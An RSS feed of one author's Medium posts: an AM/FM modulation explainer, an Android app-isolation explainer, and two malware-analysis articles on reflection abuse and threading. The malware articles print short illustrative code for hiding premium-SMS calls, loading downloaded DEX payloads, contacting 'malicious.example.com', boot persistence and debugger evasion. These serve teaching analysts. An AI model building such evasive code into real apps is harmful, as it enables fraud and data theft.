<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ruslan Mirza on Medium]]></title>
        <description><![CDATA[Stories by Ruslan Mirza on Medium]]></description>
        <link>https://medium.com/@ruslanmirza?source=rss-e01255d7e91c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QRuvnOvxRenb_eobR7wV5A.jpeg</url>
            <title>Stories by Ruslan Mirza on Medium</title>
            <link>https://medium.com/@ruslanmirza?source=rss-e01255d7e91c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 03:00:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ruslanmirza/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Radio Modulation: How AM and FM Modulation Carry Information]]></title>
            <link>https://medium.com/@ruslanmirza/radio-modulation-how-am-and-fm-modulation-carry-information-aaaee7025842?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/aaaee7025842</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 07:02:47 GMT</pubDate>
            <atom:updated>2026-10-07T07:02:47.652Z</atom:updated>
            <content:encoded><![CDATA[<p>When we listen to a radio station, it may seem like our voice or music simply travels in the form of electromagnetic wave and reaches the receiver. In reality, transmitting information over radio requires a process called <strong>modulation</strong>.</p><p>The basic idea is simple: we have information, such as voice or music, and we need to use a radio signal to carry that information. This signal is called a <strong>carrier</strong>.</p><h3>What is a carrier?</h3><p>A carrier is an electromagnetic signal generated by the transmitter. For example, imagine that a transmitter generates a carrier at <strong>100 MHz</strong>.</p><p>By itself, this 100 MHz signal does not contain your voice or any information. It is simply a continuous radio-frequency signal.</p><p>The transmitter then modifies this carrier according to the information we want to send. This process is called <strong>modulation</strong>.</p><p>So, in a simplified form:</p><p><strong>Carrier + Information → Modulation → Modulated RF Signal</strong></p><p>The carrier signal is normally generated by an oscillator or frequency-generation circuit inside the transmitter. Modern transmitters can use more sophisticated frequency synthesizers and digital techniques, but the basic concept remains the same.</p><h3>What is modulation?</h3><p>Modulation means changing some property of the carrier according to the information we want to transmit.</p><p>There are several types of modulation. The three basic analogue types are <strong>Amplitude Modulation (AM), Frequency Modulation (FM) and Phase Modulation (PM)</strong>.</p><p>For this article, we will focus on AM and FM.</p><p>The important question is: <strong>what exactly do we change?</strong></p><p>In AM, we change the <strong>amplitude</strong> of the carrier.</p><p>In FM, we change the <strong>frequency</strong> of the carrier.</p><p>That is the fundamental difference.</p><h3>Amplitude Modulation (AM)</h3><p>In AM, the information changes the amplitude of the carrier while the carrier’s center frequency remains the same.</p><p>Imagine that we have a 1 MHz carrier. Without modulation, its amplitude might look constant:</p><p><strong>1 MHz carrier → constant amplitude</strong></p><p>Now suppose we want to transmit a voice signal. As the voice signal changes, the amplitude of the RF carrier changes according to that information.</p><p>So the RF signal becomes something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*5p1KniCnDN-UXuXv3n7scg.jpeg" /></figure><p>If the voice signal becomes stronger at a particular moment, the amplitude of the RF signal becomes larger. If the voice signal becomes weaker, the amplitude becomes smaller.</p><p>This is why it is called <strong>Amplitude Modulation</strong>.</p><p>An important technical detail is that AM is not simply “a carrier whose amplitude moves up and down.” In the frequency domain, conventional AM contains the carrier plus <strong>upper and lower sidebands</strong>, and those sidebands contain the information.</p><p>For example, if a 1 MHz carrier is modulated by a 1 kHz tone, components appear at:</p><p><strong>999 kHz → carrier at 1000 kHz → 1001 kHz</strong></p><p>The two additional components are called the <strong>lower sideband</strong> and <strong>upper sideband</strong>.</p><p>With real speech or music, there are many different audio frequencies, so the sidebands extend over a range of frequencies around the carrier.</p><h3>Frequency Modulation (FM)</h3><p>Here, instead of changing the amplitude to represent the information, we change the <strong>frequency</strong> of the carrier.</p><p>Imagine a carrier centered at 1 MHz.</p><p>When there is no modulation, it remains at approximately 1 MHz.</p><p>When information is applied, the instantaneous frequency moves above and below the center frequency according to the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*iwqBm6aI_S27Y_mBNIgg5w.jpeg" /></figure><p>For example, it might move between:</p><p><strong>999.75 KHz ↔ 1 MHz ↔ 1.25 MHz</strong></p><p>The amount by which the frequency moves away from the center frequency is called <strong>frequency deviation</strong>.</p><p>So the basic idea is:</p><p><strong>AM → information changes amplitude</strong></p><p><strong>FM → information changes frequency</strong></p><p>The amplitude of an ideal FM signal remains essentially constant, while its instantaneous frequency varies according to the modulating signal.</p><p>This is one reason FM can be more resistant to certain types of noise. A lot of noise appears as unwanted amplitude variations, and FM receivers can use limiting techniques to reduce the effect of those amplitude variations.</p><h3>Where does the carrier come from?</h3><p>The carrier is generated inside the transmitter.</p><p>A simplified transmitter can be imagined like this:</p><p><strong>Oscillator → Carrier → Modulator → RF Amplifier → Antenna</strong></p><p>The oscillator or frequency-generation system creates the RF carrier.</p><p>The modulator then applies the information to that carrier.</p><p>The RF amplifier increases the signal’s power so that enough RF energy can be delivered to the antenna.</p><p>Finally, the antenna converts the electrical RF signal into electromagnetic radiation that propagates through space.</p><p>In a real transmitter, the architecture can be much more complicated. There may be mixers, filters, frequency synthesizers, intermediate-frequency stages, digital signal processing and several amplifier stages. But the simplified chain is useful for understanding the basic idea.</p><h3>What does the amplifier actually do?</h3><p>The amplifier’s main job is to increase the signal’s power.</p><p>For example, imagine that the transmitter has already created the correct modulated RF signal, but it is too weak to transmit effectively.</p><p>The RF amplifier takes that signal and produces a higher-power version of it.</p><p>For an AM signal, the amplifier generally needs to preserve the amplitude variations because those variations contain the modulation information. Therefore, linear amplification is important in many AM transmitter architectures.</p><p>FM is different. Since the information is represented by frequency variation rather than amplitude variation, FM transmitters can use highly efficient nonlinear RF amplification techniques while preserving the essential frequency modulation.</p><p>So it is important not to think of the amplifier as the component that “adds the information.”</p><p>The <strong>modulator adds or creates the modulation</strong>.</p><p>The <strong>amplifier increases the power of the already-modulated RF signal</strong>.</p><h3>What happens in the receiver?</h3><p>The receiver does essentially the reverse process.</p><p>The antenna receives electromagnetic energy (wave) and produces an electrical RF signal.</p><p>The receiver selects the desired station and processes the signal.</p><p>Then a process called <strong>demodulation</strong> extracts the original information from the modulated RF signal.</p><p>For AM, the receiver can recover the information from the amplitude variations. A simple AM receiver can even use a diode-based detector.</p><p>For FM, the receiver extracts the information from the frequency variations of the incoming signal. The resulting information can then be sent to an audio amplifier and speaker.</p><p>The overall concept is therefore:</p><p><strong>Transmitter:</strong></p><p><strong>Information → Modulation → RF Amplification → Antenna → EM wave</strong></p><p><strong>Receiver:</strong></p><p><strong>EM wave → Antenna → RF Processing → Demodulation → Information</strong></p><h3>Why don’t we just transmit the information directly?</h3><p>Because ordinary frequencies are relatively low-frequency signals and are not suitable for efficient long-distance radio transmission using a simple antenna system.</p><p>A radio system uses a much higher-frequency carrier so that the information can be shifted to an appropriate part of the radio spectrum and transmitted efficiently.</p><p>For example, an FM broadcast station may operate around 100 MHz. The audio itself may contain frequencies only up to around 15 kHz, but modulation allows that information to be represented on a much higher-frequency RF signal.</p><p>This is one of the fundamental purposes of modulation: to make information suitable for transmission over a radio channel.</p><h3>The big picture</h3><p>So the entire idea can be summarized as:</p><p><strong>Information → Modulation → RF Signal → Antenna → EM wave → Antenna → Demodulation → Information</strong></p><p>Once this concept is clear, topics such as antennas, RF amplifiers, bandwidth, sidebands, frequency deviation, spectrum analyzers and digital modulation become much easier to understand.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aaaee7025842" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Android Malware Abuses the Reflection API]]></title>
            <link>https://themalwarefiles.com/how-android-malware-abuses-the-reflection-api-bf4f98c1c4af?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf4f98c1c4af</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 14:09:18 GMT</pubDate>
            <atom:updated>2026-02-27T08:45:26.211Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmZgpanYJ74dkyiJox-pPA.png" /></figure><p>Android malware has come a long way from the early days of obvious, easy-to-catch malicious apps. Modern threats are sophisticated, stealthy, and deliberately designed to fool both users and security tools. One of the most powerful techniques in a malware author’s toolkit is the abuse of <strong>Java’s Reflection API</strong>. Its a legitimate programming feature that, in the wrong hands, becomes an invisibility cloak for malicious behavior.</p><p>This article breaks down what the Reflection API is, how it works on Android, and how attackers exploit it - with simple, concrete examples throughout.</p><h3>What Is the Reflection API?</h3><p>Normally when you write Android code, you know exactly what classes and methods you’re calling at compile time. The compiler checks everything, and your IDE can autocomplete it. Reflection throws that model out the window.</p><p>With the Reflection API, your code can look up classes by name, call methods using strings, and even access private fields - all while the app is already running on a device. You don’t need to know the class at compile time. You just need its name as a string.</p><p>Here’s a simple example. Normal code:</p><pre>TelephonyManager tm = (TelephonyManager) getSystemService(&quot;phone&quot;);<br>String imei = tm.getDeviceId();</pre><p>The same thing with reflection:</p><pre>Class&lt;?&gt; cls = Class.forName(&quot;android.telephony.TelephonyManager&quot;);<br>Method getDeviceId = cls.getMethod(&quot;getDeviceId&quot;);<br>Object tm = getSystemService(&quot;phone&quot;);<br>String imei = (String) getDeviceId.invoke(tm);</pre><p>Both do the exact same thing. But in the second version, the string &quot;getDeviceId&quot; could come from anywhere - a remote server, an encrypted file, user input. That&#39;s the core of why reflection is so dangerous when misused.</p><h3>Why Malware Authors Love It</h3><p>When a security researcher or an automated scanner analyzes an Android APK, they typically search for references to dangerous APIs. Things like sending SMS messages, reading contacts, recording audio, or accessing device identifiers are red flags. Static analysis tools scan the bytecode and flag these calls.</p><p>Reflection defeats static analysis almost entirely. If you never directly reference SmsManager or getDeviceId in your code - only as runtime strings - the scanner finds nothing. The app looks clean. It passes automated review. It gets installed.</p><h3>Technique 1: Hiding Dangerous API Calls</h3><p>This is the most straightforward abuse. Instead of calling a dangerous Android API directly, the malware builds the class and method names at runtime, often from encoded or split strings.</p><p>Imagine malware that wants to silently send a premium SMS. Direct code:</p><pre>SmsManager sms = SmsManager.getDefault();<br>sms.sendTextMessage(&quot;+1900PREMIUM&quot;, null, &quot;SUBSCRIBE&quot;, null, null);</pre><p>Any scanner will catch SmsManager and sendTextMessage instantly. With reflection:</p><pre>String methodName = new String(Base64.decode(&quot;c2VuZFRleHRNZXNzYWdl&quot;));<br><br>Class&lt;?&gt; cls = Class.forName(&quot;android.telephony.SmsManager&quot;);<br>Method getDefault = cls.getMethod(&quot;getDefault&quot;);<br>Object sms = getDefault.invoke(null);<br><br>Method send = cls.getMethod(methodName, String.class, String.class,<br>                             String.class, PendingIntent.class, PendingIntent.class);<br>send.invoke(sms, &quot;+1900PREMIUM&quot;, null, &quot;SUBSCRIBE&quot;, null, null);</pre><p>The scanner sees no SmsManager, no sendTextMessage. The strings are invisible until runtime. The malware charges the victim for a premium SMS subscription, and the APK looks completely innocent on paper.</p><h3>Technique 2: Dynamic Code Loading</h3><p>This is where things get really serious. The most sophisticated Android malware doesn’t include its dangerous payload inside the APK at all. The app you download is perfectly clean - it genuinely has nothing bad in it. The malicious code arrives after installation, downloaded from an attacker-controlled server.</p><p>Android provides a class called DexClassLoader that can load compiled Java code (.dex files) from any path on the device, including freshly downloaded files. Reflection then executes whatever is inside:</p><pre><br>DexClassLoader loader = new DexClassLoader(<br>    &quot;/data/data/com.innocent.app/files/payload.dex&quot;,<br>    getCacheDir().getAbsolutePath(),<br>    null,<br>    getClassLoader()<br>);<br><br>Class&lt;?&gt; payloadClass = loader.loadClass(&quot;com.evil.MainPayload&quot;);<br><br>Method execute = payloadClass.getMethod(&quot;run&quot;, Context.class);<br>execute.invoke(payloadClass.newInstance(), this);</pre><p>Google Play’s static scanner inspects the APK file. There is nothing suspicious in the APK. The payload doesn’t exist yet - it only arrives after the app is installed and running. By the time the malicious code executes, it’s too late.</p><p>This technique is used by real-world malware families like Joker and BankBot, which have repeatedly slipped through Play Store review by keeping their APKs clean and downloading the actual payload later.</p><h3>Technique 3: Accessing Hidden Android APIs</h3><p>Android has a large number of internal system APIs that are intentionally hidden from regular developers. These APIs are marked @hide in the Android source, meaning they don&#39;t appear in the public SDK and can&#39;t be called normally. They exist for system apps and the OS itself.</p><p>However, reflection doesn’t care about @hide. If the method exists on the device, reflection can call it. Malware uses this to access low-level telephony functions, read system information, or interact with hardware in ways that bypass normal permission checks:</p><pre><br>Class&lt;?&gt; tmClass = Class.forName(&quot;android.telephony.TelephonyManager&quot;);<br>Method endCall = tmClass.getDeclaredMethod(&quot;endCall&quot;);<br>endCall.setAccessible(true); <br>endCall.invoke(tm);</pre><p>The setAccessible(true) call is particularly notable. It tells the JVM to ignore access modifiers - meaning even private methods and fields can be reached. This is how malware can dig into Android internals that were never meant to be touched by third-party apps.</p><h3>Technique 4: Disabling Security Checks at Runtime</h3><p>More advanced malware combines reflection with Android’s permission model in creative ways. Some malware uses reflection to inspect which security managers or monitoring hooks are active on the device - essentially checking if it’s being watched - and adjusting its behavior accordingly.</p><p>If the app detects it’s running in an emulator or sandbox (common in security research environments), it behaves normally. If it detects a real device with no analysis tools, it activates its payload. This is called anti-analysis behavior, and reflection makes it easy to probe the environment quietly without obvious API calls.</p><h3>Why Is It Hard to Defend Against?</h3><p>The core problem is that reflection is completely legitimate. It’s used in almost every major Android framework. You cannot simply block or flag all reflection calls - you’d break most apps on the market.</p><p>Detection requires looking at behavioral patterns: Is the app downloading DEX files from the internet? Is it combining string fragments at runtime before passing them to Class.forName()? Is it calling setAccessible(true) on system classes? None of these are individually conclusive, but together they paint a picture.</p><p>Google has tightened restrictions in newer Android versions. From Android 9 onwards, access to hidden APIs is increasingly restricted, and DexClassLoader from external storage has become harder to abuse. But older devices remain vulnerable, and attackers constantly adapt.</p><h3>Conclusion</h3><p>The Reflection API is a double-edged sword. In the hands of legitimate developers, it enables powerful, flexible frameworks. In the hands of malware authors, it becomes a tool for hiding dangerous behavior, bypassing static analysis, and loading malicious code that was never present at install time.</p><p>Understanding this technique is essential for anyone working in Android security - whether you’re a developer trying to write safer code, a researcher analyzing suspicious apps, or simply a user trying to understand why “clean” apps sometimes turn out to be anything.</p><h4>In case you want to get further knowledge</h4><ol><li><strong>Java Reflection — Official Java Learning Guide: </strong><a href="https://dev.java/learn/reflection/">https://dev.java/learn/reflection/</a></li><li><strong>Java Reflection API Guide (Java SE 8 Documentation)</strong><br> <a href="https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/index.html">https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/index.html</a></li></ol><p><em>If you found this article valuable, consider clapping to help others discover it. Follow </em><a href="https://medium.com/@ruslanmirza"><em>Ruslan</em></a><em> and The Malware Files to stay connected and be part of a growing community exploring malware, security, and digital threats together.</em></p><figure><a href="https://themalwarefiles.com/"><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XOckzHUKXP_R7rBA.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf4f98c1c4af" width="1" height="1" alt=""><hr><p><a href="https://themalwarefiles.com/how-android-malware-abuses-the-reflection-api-bf4f98c1c4af">How Android Malware Abuses the Reflection API</a> was originally published in <a href="https://themalwarefiles.com/">The Malware Files</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Application Isolation On Android]]></title>
            <link>https://medium.com/@ruslanmirza/application-isolation-on-android-2fcc69eb0d7c?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fcc69eb0d7c</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 19:06:34 GMT</pubDate>
            <atom:updated>2026-02-22T19:06:34.604Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BmnqdsgZN00p3Fxl3S4O5w.png" /></figure><p>Every day, millions of people use Android phones without thinking about how apps keep their data safe. Behind the scenes, Android has a strong system that prevents one app from messing with another app’s files. Two of the main mechanisms that make this possible are Linux UIDs for internal storage and Scoped Storage with MediaProvider for external storage. Understanding these systems is important for anyone who wants to learn Android security, whether you are a developer or studying malware.</p><h3>Internal Storage and Linux UIDs</h3><p>Android apps need a safe place to store private data, like login credentials, configuration files, or downloaded information. From the very beginning, Android has used Linux user IDs (UIDs) to keep apps separated.</p><p>Here’s how it works:</p><ol><li>When you install an app, Android assigns it a unique UID.</li><li>All files that app creates in internal storage (usually under /data/data/&lt;package_name&gt;/) belong to that UID.</li><li>When the app wants to read or write a file, the Linux kernel checks the UID of the requesting app and the UID of the file owner.</li><li>If the UIDs match, the kernel lets the app access the file. If not, access is denied.</li></ol><p>This system is very strong because it works at the operating system level. Even if another app tries to read or modify a file, the kernel will block it. This means internal storage has always been a safe place to store sensitive data.</p><p>Additionally, Android uses SELinux policies to add another layer of protection. Even if an attacker finds a way to run code as the app’s UID, SELinux can prevent certain dangerous actions.</p><p>In short, internal storage is protected by Linux itself. The kernel enforces isolation, and the UID acts like a key that only the owning app has. This is why developers could safely store private files inside internal storage without worrying about other apps reading them.</p><h3>The Problem with External Storage</h3><p>External storage, like /sdcard/, is different. Before Android 10, all apps could access most of the files there if they had the proper permission (READ_EXTERNAL_STORAGE or WRITE_EXTERNAL_STORAGE).</p><p>This created problems:</p><ul><li>If an app mistakenly stored sensitive information on external storage, any other app with access could read it.</li><li>Malicious apps could easily steal these files.</li><li>Even normal apps could accidentally overwrite or delete files created by another app.</li></ul><p>Because external storage was shared among all apps, it could not rely on Linux UIDs for security. Files created by one app were not technically tied to that app’s UID, so the kernel could not enforce isolation here.</p><p>This led Android developers to introduce a new system called Scoped Storage in Android 10.</p><h3>Scoped Storage: Making External Storage Safer</h3><p>Scoped Storage changes how apps can access external storage. The idea is simple:</p><ul><li>Every app gets its own area on external storage. Usually, this is under /sdcard/Android/data/&lt;package_name&gt;/.</li><li>Apps can freely read and write their own files there.</li><li>Apps cannot directly access other apps’ directories unless explicit permission is given.</li></ul><p>The key part of this system is MediaProvider, a component that manages files and checks permissions. When an app requests access to a file on external storage, the following happens:</p><ol><li>The app sends a request through a framework API, usually ContentResolver.</li><li>MediaProvider checks its internal database to see who owns the file. Every file is linked to the App ID that created it.</li><li>MediaProvider compares the App ID of the file owner with the App ID of the app making the request.</li><li>If they match (or the file is shared in a way that allows access), MediaProvider grants access. Otherwise, access is denied.</li></ol><p>This creates a framework-level isolation for external storage. Unlike internal storage, which uses kernel UID checks, scoped storage relies on MediaProvider to enforce which app can access which files. The App ID acts like a unique key, similar to UID, but managed at the framework level instead of by the kernel.</p><h3>How UID and App ID Compare</h3><p>It is important to understand the difference between UID and App ID:</p><h4>UID (Linux user ID)</h4><ul><li>Assigned by the kernel</li><li>Used for internal storage</li><li>Kernel enforces file permissions</li></ul><h4>App ID / Package Name</h4><ul><li>Assigned by Android framework</li><li>Used for scoped storage and MediaProvider</li><li>Framework enforces file access</li></ul><p>Both systems serve the same purpose: make sure only the owning app can access its files. The difference is the layer at which access control is applied: kernel for internal storage, framework for external storage.</p><h3>Why This Matters for Security</h3><p>For anyone studying Android security model or Android malware analysis:</p><ul><li>Malicious apps may try to bypass scoped storage by requesting dangerous permissions like MANAGE_EXTERNAL_STORAGE.</li><li>Apps could try to exploit improperly configured ContentProviders.</li><li>However, even if external storage is bypassed, internal storage remains protected by UID and SELinux, which makes it much harder for attackers to reach sensitive data.</li></ul><p>Understanding both levels of protection is essential. Malware analysts need to know how framework-level checks and kernel-level checks interact to fully understand Android’s security.</p><h3>Conclusion</h3><p>Android uses a layered security approach to keep app data safe:</p><ol><li>Internal Storage: Strong kernel-level isolation using Linux UIDs.</li><li>External Storage: Framework-level isolation using Scoped Storage and MediaProvider, plus App ID mapping.</li></ol><p>Both systems aim to ensure that apps cannot interfere with each other’s files, protecting users’ data from malicious apps and accidental access.</p><p>While internal storage relies on the operating system’s enforcement, external storage relies on framework-level controls, allowing apps to safely store files externally without exposing them to other apps. Together, these mechanisms make Android apps sandboxed and secure, forming a robust system that protects sensitive user data every day.</p><h4>In case you want to get further knowledge:</h4><ol><li><a href="https://source.android.com/docs/security/app-sandbox">https://source.android.com/docs/security/app-sandbox</a></li><li><a href="https://developer.android.com/privacy-and-security/risks/sensitive-data-external-storage">https://developer.android.com/privacy-and-security/risks/sensitive-data-external-storage</a></li><li><a href="https://developer.android.com/training/data-storage/use-cases">https://developer.android.com/training/data-storage/use-cases</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fcc69eb0d7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Threads Are Important in Android Malware Analysis]]></title>
            <link>https://themalwarefiles.com/why-threads-are-important-in-android-malware-analysis-e7c29d8b45b6?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7c29d8b45b6</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Mon, 16 Feb 2026 18:24:03 GMT</pubDate>
            <atom:updated>2026-02-17T12:40:19.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrLFr6pqDNDO16lkWoQFQw.png" /></figure><p>Android malware analysis is not only about reading suspicious API calls or checking permissions in the AndroidManifest.xml. Modern Android malware is designed to evade static detection, delay execution, and hide malicious behavior behind seemingly legitimate functionality.</p><p>One of the most common and powerful techniques used for this purpose is multithreading. Understanding threads is therefore essential for anyone who wants to perform serious Android malware analysis.</p><p>So let’s get into it:</p><h3>1. Malware Rarely Runs Everything on the Main Thread</h3><p>In Android, the main thread (also called the UI thread) is responsible for handling user interface interactions. If heavy or blocking operations are executed on this thread, the application may freeze and trigger an Application Not Responding (ANR) error. Malware authors know this very well. As a result, they often move malicious logic into background threads to avoid raising suspicion.</p><p>For example, a malicious app may display a harmless UI in its main activity, while silently starting a background thread to exfiltrate data:</p><pre>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        TextView tv = findViewById(R.id.textView);<br>        tv.setText(&quot;Welcome!&quot;);<br><br>        new Thread(new Runnable() {<br>            @Override<br>            public void run() {<br>                stealData();<br>            }<br>        }).start();<br>    }<br><br>    private void stealData() {<br>        String deviceInfo = Build.MODEL + &quot; - &quot; + Build.VERSION.RELEASE;<br>        Log.d(&quot;Malware&quot;, &quot;Sending data: &quot; + deviceInfo);<br>    }<br>}</pre><p>If you only inspect UI-related code, you might miss the real behavior. Malware analysts must trace thread creation and follow execution paths inside run() methods.</p><h3>2. Delayed Execution to Evade Sandboxes</h3><p>Dynamic analysis environments and sandboxes usually monitor app behavior for a limited time. Malware authors exploit this limitation by delaying execution using threads combined with sleep functions.</p><pre>new Thread(new Runnable() {<br>    @Override<br>    public void run() {<br>        try {<br>            Thread.sleep(30000); <br>        } catch (InterruptedException e) {<br>            e.printStackTrace();<br>        }<br><br>        triggerPayload();<br>    }<br>}).start();<br><br>private void triggerPayload() {<br>    Log.d(&quot;Malware&quot;, &quot;Payload activated&quot;);<br>}</pre><p>If a sandbox only observes the app for 10–15 seconds, it may not detect the malicious payload. As an analyst, you must recognize these delay patterns and adjust your dynamic analysis duration accordingly.</p><h3>3. Use of ExecutorService and Thread Pools</h3><p>More advanced malware avoids directly creating threads with new Thread(). Instead, it uses ExecutorService or thread pools to make analysis harder and blend into legitimate app architecture.</p><pre>ExecutorService executor = Executors.newSingleThreadExecutor();<br><br>executor.execute(new Runnable() {<br>    @Override<br>    public void run() {<br>        connectToServer();<br>    }<br>});<br><br>private void connectToServer() {<br>    try {<br>        URL url = new URL(&quot;http://malicious.example.com&quot;);<br>        HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br>        connection.setRequestMethod(&quot;GET&quot;);<br>        connection.getResponseCode();<br>    } catch (Exception e) {<br>        e.printStackTrace();<br>    }<br>}</pre><p>When analyzing malware, you must identify where executors are initialized and what tasks are submitted to them. Simply searching for suspicious URLs is not enough; you must understand which thread is responsible for network communication.</p><h3>4. Threads Combined with BroadcastReceiver and Services</h3><p>Malware often uses background components such as BroadcastReceiver and Service to persist in the system. Threads are frequently launched inside these components to execute hidden tasks.</p><p>Example inside a BroadcastReceiver:</p><pre>public class BootReceiver extends BroadcastReceiver {<br><br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {<br>            new Thread(() -&gt; {<br>                startMaliciousService(context);<br>            }).start();<br>        }<br>    }<br><br>    private void startMaliciousService(Context context) {<br>        Intent serviceIntent = new Intent(context, SpyService.class);<br>        context.startService(serviceIntent);<br>    }<br>}</pre><p>Here, malware activates after device reboot. The malicious logic is not immediately visible in the receiver body, instead it is executed in a new thread. If you do not inspect thread creation, you may underestimate the app’s behavior.</p><h3>5. Obfuscation and Anti-Analysis Techniques</h3><p>Threads are also used for anti-analysis techniques such as:</p><ul><li>Periodic environment checks (emulator detection)</li><li>Monitoring debugging tools</li><li>Killing the app if suspicious behavior is detected</li></ul><p>Example:</p><pre>new Thread(() -&gt; {<br>    while (true) {<br>        if (isDebuggerConnected()) {<br>            System.exit(0);<br>        }<br>        try {<br>            Thread.sleep(5000);<br>        } catch (InterruptedException e) {<br>            e.printStackTrace();<br>        }<br>    }<br>}).start();<br><br>private boolean isDebuggerConnected() {<br>    return android.os.Debug.isDebuggerConnected();<br>}</pre><p>This background monitoring thread continuously checks for debugging activity. If you attach a debugger, the app terminates. Understanding such thread-based mechanisms is critical during reverse engineering.</p><h3>6. Concurrency Complicates Static Analysis</h3><p>From a reverse engineering perspective, threads introduce concurrency. Execution flow is no longer linear. When multiple threads operate simultaneously, tracking the exact order of operations becomes more difficult.</p><p>For example:</p><ul><li>One thread may decrypt a payload.</li><li>Another thread may load it using reflection.</li><li>A third thread may send collected data to a C2 server.</li></ul><p>As an analyst, you must mentally reconstruct parallel execution paths. Tools like JADX show the code, but they do not show runtime scheduling. You must think about possible race conditions and execution timing.</p><h4><strong>Conclusion</strong></h4><p>Threads are not just a programming concept in Android. They are a fundamental mechanism used by malware authors to hide, delay, and distribute malicious behavior. By moving payloads into background threads, delaying execution, using executors, and implementing anti-analysis loops, attackers make detection significantly harder.</p><p>If you want to become strong in Android malware analysis, do not only focus on permissions and suspicious APIs. Study how threads are created, how tasks are scheduled and how background execution flows across Activities, Services, and BroadcastReceivers. Once you start following thread execution paths carefully, you will uncover behaviors that many beginner analysts completely miss.</p><h4><strong>If you want to get further knowledge:</strong></h4><ol><li>Java Threads: <a href="https://www.geeksforgeeks.org/java/java-threads/">https://www.geeksforgeeks.org/java/java-threads/</a></li><li>How Threads work: <a href="https://www.geeksforgeeks.org/android/what-are-threads-in-android-with-example/">https://www.geeksforgeeks.org/android/what-are-threads-in-android-with-example/</a></li></ol><p><em>If you found this article valuable, consider clapping to help others discover it. Follow </em><a href="https://medium.com/@ruslanmirza"><em>Ruslan</em></a><em> and The Malware Files to stay connected and be part of a growing community exploring malware, security, and digital threats together.</em></p><figure><a href="https://themalwarefiles.com/"><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c8v1i8eAy99QUKTr.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7c29d8b45b6" width="1" height="1" alt=""><hr><p><a href="https://themalwarefiles.com/why-threads-are-important-in-android-malware-analysis-e7c29d8b45b6">Why Threads Are Important in Android Malware Analysis</a> was originally published in <a href="https://themalwarefiles.com/">The Malware Files</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Broadcast Receivers: A Gateway for Malware Attacks]]></title>
            <link>https://themalwarefiles.com/android-broadcast-receivers-a-gateway-for-malware-attacks-336e4ab0de75?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/336e4ab0de75</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 10:05:21 GMT</pubDate>
            <atom:updated>2026-02-12T17:20:19.391Z</atom:updated>
